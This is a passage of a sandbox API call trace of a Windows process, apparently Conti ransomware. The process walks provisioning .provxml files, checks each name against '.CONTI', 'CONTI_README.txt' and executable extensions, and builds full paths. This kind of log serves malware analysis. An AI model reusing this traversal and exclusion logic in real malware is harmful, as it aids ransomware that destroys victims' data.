	[0107.481] StrStrIW (lpFirst="156__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpSrch=".dll") returned 0x0
	[0107.481] StrStrIW (lpFirst="156__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpSrch=".lnk") returned 0x0
	[0107.481] StrStrIW (lpFirst="156__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpSrch=".sys") returned 0x0
	[0107.481] StrStrIW (lpFirst="156__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpSrch=".CONTI") returned 0x0
	[0107.481] StrStrIW (lpFirst="156__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0107.481] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0107.481] lstrlenW (lpString="156__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml") returned 53
	[0107.481] GetProcessHeap () returned 0x1720000
	[0107.481] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x120) returned 0x17c3ee8
	[0107.481] lstrcpyW (in: lpString1=0x17c3ee8, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0107.481] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0107.481] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="156__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\156__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\156__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml"
	[0107.481] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90601b92, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90601b92, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90601b92, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2d0, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="157__Connections_Cellular_Cosmote Greece (Greece)_i0$(__MVID)@WAP.provxml", cAlternateFileName="157__C~1.PRO")) returned 1
	[0107.481] lstrcmpiW (lpString1="157__Connections_Cellular_Cosmote Greece (Greece)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0107.481] lstrcmpiW (lpString1="157__Connections_Cellular_Cosmote Greece (Greece)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0107.481] StrStrIW (lpFirst="157__Connections_Cellular_Cosmote Greece (Greece)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0107.481] StrStrIW (lpFirst="157__Connections_Cellular_Cosmote Greece (Greece)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0107.482] StrStrIW (lpFirst="157__Connections_Cellular_Cosmote Greece (Greece)_i0$(__MVID)@WAP.provxml", lpSrch=".exe") returned 0x0
	[0107.482] StrStrIW (lpFirst="157__Connections_Cellular_Cosmote Greece (Greece)_i0$(__MVID)@WAP.provxml", lpSrch=".dll") returned 0x0
	[0107.482] StrStrIW (lpFirst="157__Connections_Cellular_Cosmote Greece (Greece)_i0$(__MVID)@WAP.provxml", lpSrch=".lnk") returned 0x0
	[0107.482] StrStrIW (lpFirst="157__Connections_Cellular_Cosmote Greece (Greece)_i0$(__MVID)@WAP.provxml", lpSrch=".sys") returned 0x0
	[0107.482] StrStrIW (lpFirst="157__Connections_Cellular_Cosmote Greece (Greece)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0107.482] StrStrIW (lpFirst="157__Connections_Cellular_Cosmote Greece (Greece)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0107.482] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0107.482] lstrlenW (lpString="157__Connections_Cellular_Cosmote Greece (Greece)_i0$(__MVID)@WAP.provxml") returned 73
	[0107.482] GetProcessHeap () returned 0x1720000
	[0107.482] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x148) returned 0x17d0e60
	[0107.482] lstrcpyW (in: lpString1=0x17d0e60, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0107.482] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0107.482] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="157__Connections_Cellular_Cosmote Greece (Greece)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\157__Connections_Cellular_Cosmote Greece (Greece)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\157__Connections_Cellular_Cosmote Greece (Greece)_i0$(__MVID)@WAP.provxml"
	[0107.482] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90627dfd, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90627dfd, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90627dfd, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x284, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="158__Connections_Cellular_Q-telecom (Greece)_i0$(__MVID)@WAP.provxml", cAlternateFileName="158__C~1.PRO")) returned 1
	[0107.482] lstrcmpiW (lpString1="158__Connections_Cellular_Q-telecom (Greece)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0107.482] lstrcmpiW (lpString1="158__Connections_Cellular_Q-telecom (Greece)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0107.482] StrStrIW (lpFirst="158__Connections_Cellular_Q-telecom (Greece)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0107.482] StrStrIW (lpFirst="158__Connections_Cellular_Q-telecom (Greece)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0107.482] StrStrIW (lpFirst="158__Connections_Cellular_Q-telecom (Greece)_i0$(__MVID)@WAP.provxml", lpSrch=".exe") returned 0x0
	[0107.482] StrStrIW (lpFirst="158__Connections_Cellular_Q-telecom (Greece)_i0$(__MVID)@WAP.provxml", lpSrch=".dll") returned 0x0
	[0107.482] StrStrIW (lpFirst="158__Connections_Cellular_Q-telecom (Greece)_i0$(__MVID)@WAP.provxml", lpSrch=".lnk") returned 0x0
	[0107.482] StrStrIW (lpFirst="158__Connections_Cellular_Q-telecom (Greece)_i0$(__MVID)@WAP.provxml", lpSrch=".sys") returned 0x0
	[0107.482] StrStrIW (lpFirst="158__Connections_Cellular_Q-telecom (Greece)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0107.482] StrStrIW (lpFirst="158__Connections_Cellular_Q-telecom (Greece)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0107.482] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0107.482] lstrlenW (lpString="158__Connections_Cellular_Q-telecom (Greece)_i0$(__MVID)@WAP.provxml") returned 68
	[0107.482] GetProcessHeap () returned 0x1720000
	[0107.482] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x13e) returned 0x17ca488
	[0107.482] lstrcpyW (in: lpString1=0x17ca488, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0107.482] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0107.483] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="158__Connections_Cellular_Q-telecom (Greece)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\158__Connections_Cellular_Q-telecom (Greece)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\158__Connections_Cellular_Q-telecom (Greece)_i0$(__MVID)@WAP.provxml"
	[0107.483] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90627dfd, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90627dfd, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90627dfd, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2d2, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="159__Connections_Cellular_Telestet (STET) (Greece)_i0$(__MVID)@WAP.provxml", cAlternateFileName="159__C~1.PRO")) returned 1
	[0107.483] lstrcmpiW (lpString1="159__Connections_Cellular_Telestet (STET) (Greece)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0107.483] lstrcmpiW (lpString1="159__Connections_Cellular_Telestet (STET) (Greece)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0107.483] StrStrIW (lpFirst="159__Connections_Cellular_Telestet (STET) (Greece)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0107.483] StrStrIW (lpFirst="159__Connections_Cellular_Telestet (STET) (Greece)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0107.483] StrStrIW (lpFirst="159__Connections_Cellular_Telestet (STET) (Greece)_i0$(__MVID)@WAP.provxml", lpSrch=".exe") returned 0x0
	[0107.483] StrStrIW (lpFirst="159__Connections_Cellular_Telestet (STET) (Greece)_i0$(__MVID)@WAP.provxml", lpSrch=".dll") returned 0x0
	[0107.483] StrStrIW (lpFirst="159__Connections_Cellular_Telestet (STET) (Greece)_i0$(__MVID)@WAP.provxml", lpSrch=".lnk") returned 0x0
	[0107.483] StrStrIW (lpFirst="159__Connections_Cellular_Telestet (STET) (Greece)_i0$(__MVID)@WAP.provxml", lpSrch=".sys") returned 0x0
	[0107.483] StrStrIW (lpFirst="159__Connections_Cellular_Telestet (STET) (Greece)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0107.483] StrStrIW (lpFirst="159__Connections_Cellular_Telestet (STET) (Greece)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0107.483] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0107.483] lstrlenW (lpString="159__Connections_Cellular_Telestet (STET) (Greece)_i0$(__MVID)@WAP.provxml") returned 74
	[0107.483] GetProcessHeap () returned 0x1720000
	[0107.483] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x14a) returned 0x17d0fb8
	[0107.483] lstrcpyW (in: lpString1=0x17d0fb8, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0107.483] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0107.483] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="159__Connections_Cellular_Telestet (STET) (Greece)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\159__Connections_Cellular_Telestet (STET) (Greece)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\159__Connections_Cellular_Telestet (STET) (Greece)_i0$(__MVID)@WAP.provxml"
	[0107.483] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9013ce1d, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9013ce1d, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9013ce1d, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2cf, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="15__Connections_Cellular_Optus (Australia)_i6$(__MVID)@WAP.provxml", cAlternateFileName="15__CO~1.PRO")) returned 1
	[0107.483] lstrcmpiW (lpString1="15__Connections_Cellular_Optus (Australia)_i6$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0107.483] lstrcmpiW (lpString1="15__Connections_Cellular_Optus (Australia)_i6$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0107.483] StrStrIW (lpFirst="15__Connections_Cellular_Optus (Australia)_i6$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0107.483] StrStrIW (lpFirst="15__Connections_Cellular_Optus (Australia)_i6$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0107.483] StrStrIW (lpFirst="15__Connections_Cellular_Optus (Australia)_i6$(__MVID)@WAP.provxml", lpSrch=".exe") returned 0x0
	[0107.483] StrStrIW (lpFirst="15__Connections_Cellular_Optus (Australia)_i6$(__MVID)@WAP.provxml", lpSrch=".dll") returned 0x0
	[0107.483] StrStrIW (lpFirst="15__Connections_Cellular_Optus (Australia)_i6$(__MVID)@WAP.provxml", lpSrch=".lnk") returned 0x0
	[0107.483] StrStrIW (lpFirst="15__Connections_Cellular_Optus (Australia)_i6$(__MVID)@WAP.provxml", lpSrch=".sys") returned 0x0
	[0107.483] StrStrIW (lpFirst="15__Connections_Cellular_Optus (Australia)_i6$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0107.484] StrStrIW (lpFirst="15__Connections_Cellular_Optus (Australia)_i6$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0107.484] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0107.484] lstrlenW (lpString="15__Connections_Cellular_Optus (Australia)_i6$(__MVID)@WAP.provxml") returned 66
	[0107.484] GetProcessHeap () returned 0x1720000
	[0107.484] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x13a) returned 0x17ca5d0
	[0107.484] lstrcpyW (in: lpString1=0x17ca5d0, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0107.484] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0107.484] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="15__Connections_Cellular_Optus (Australia)_i6$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\15__Connections_Cellular_Optus (Australia)_i6$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\15__Connections_Cellular_Optus (Australia)_i6$(__MVID)@WAP.provxml"
	[0107.484] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90627dfd, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90627dfd, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90627dfd, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2d0, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="160__Connections_Cellular_Telestet (STET) (Greece)_i1$(__MVID)@WAP.provxml", cAlternateFileName="160__C~1.PRO")) returned 1
	[0107.484] lstrcmpiW (lpString1="160__Connections_Cellular_Telestet (STET) (Greece)_i1$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0107.484] lstrcmpiW (lpString1="160__Connections_Cellular_Telestet (STET) (Greece)_i1$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0107.484] StrStrIW (lpFirst="160__Connections_Cellular_Telestet (STET) (Greece)_i1$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0107.484] StrStrIW (lpFirst="160__Connections_Cellular_Telestet (STET) (Greece)_i1$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0107.484] StrStrIW (lpFirst="160__Connections_Cellular_Telestet (STET) (Greece)_i1$(__MVID)@WAP.provxml", lpSrch=".exe") returned 0x0
	[0107.484] StrStrIW (lpFirst="160__Connections_Cellular_Telestet (STET) (Greece)_i1$(__MVID)@WAP.provxml", lpSrch=".dll") returned 0x0
	[0107.484] StrStrIW (lpFirst="160__Connections_Cellular_Telestet (STET) (Greece)_i1$(__MVID)@WAP.provxml", lpSrch=".lnk") returned 0x0
	[0107.484] StrStrIW (lpFirst="160__Connections_Cellular_Telestet (STET) (Greece)_i1$(__MVID)@WAP.provxml", lpSrch=".sys") returned 0x0
	[0107.484] StrStrIW (lpFirst="160__Connections_Cellular_Telestet (STET) (Greece)_i1$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0107.484] StrStrIW (lpFirst="160__Connections_Cellular_Telestet (STET) (Greece)_i1$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0107.484] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0107.484] lstrlenW (lpString="160__Connections_Cellular_Telestet (STET) (Greece)_i1$(__MVID)@WAP.provxml") returned 74
	[0107.484] GetProcessHeap () returned 0x1720000
	[0107.484] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x14a) returned 0x17d1110
	[0107.484] lstrcpyW (in: lpString1=0x17d1110, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0107.484] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0107.484] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="160__Connections_Cellular_Telestet (STET) (Greece)_i1$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\160__Connections_Cellular_Telestet (STET) (Greece)_i1$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\160__Connections_Cellular_Telestet (STET) (Greece)_i1$(__MVID)@WAP.provxml"
	[0107.484] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90627dfd, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90627dfd, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90627dfd, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2da, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="161__Connections_Cellular_Vodafone Greece (Greece)_i0$(__MVID)@WAP.provxml", cAlternateFileName="161__C~1.PRO")) returned 1
	[0107.487] lstrcmpiW (lpString1="161__Connections_Cellular_Vodafone Greece (Greece)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0107.487] lstrcmpiW (lpString1="161__Connections_Cellular_Vodafone Greece (Greece)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0107.487] StrStrIW (lpFirst="161__Connections_Cellular_Vodafone Greece (Greece)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0107.487] StrStrIW (lpFirst="161__Connections_Cellular_Vodafone Greece (Greece)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0107.487] StrStrIW (lpFirst="161__Connections_Cellular_Vodafone Greece (Greece)_i0$(__MVID)@WAP.provxml", lpSrch=".exe") returned 0x0
	[0107.487] StrStrIW (lpFirst="161__Connections_Cellular_Vodafone Greece (Greece)_i0$(__MVID)@WAP.provxml", lpSrch=".dll") returned 0x0
	[0107.488] StrStrIW (lpFirst="161__Connections_Cellular_Vodafone Greece (Greece)_i0$(__MVID)@WAP.provxml", lpSrch=".lnk") returned 0x0
	[0107.488] StrStrIW (lpFirst="161__Connections_Cellular_Vodafone Greece (Greece)_i0$(__MVID)@WAP.provxml", lpSrch=".sys") returned 0x0
	[0107.488] StrStrIW (lpFirst="161__Connections_Cellular_Vodafone Greece (Greece)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0107.488] StrStrIW (lpFirst="161__Connections_Cellular_Vodafone Greece (Greece)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0107.488] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0107.488] lstrlenW (lpString="161__Connections_Cellular_Vodafone Greece (Greece)_i0$(__MVID)@WAP.provxml") returned 74
	[0107.488] GetProcessHeap () returned 0x1720000
	[0107.488] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x14a) returned 0x17d0bb0
	[0107.488] lstrcpyW (in: lpString1=0x17d0bb0, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0107.488] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0107.488] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="161__Connections_Cellular_Vodafone Greece (Greece)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\161__Connections_Cellular_Vodafone Greece (Greece)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\161__Connections_Cellular_Vodafone Greece (Greece)_i0$(__MVID)@WAP.provxml"
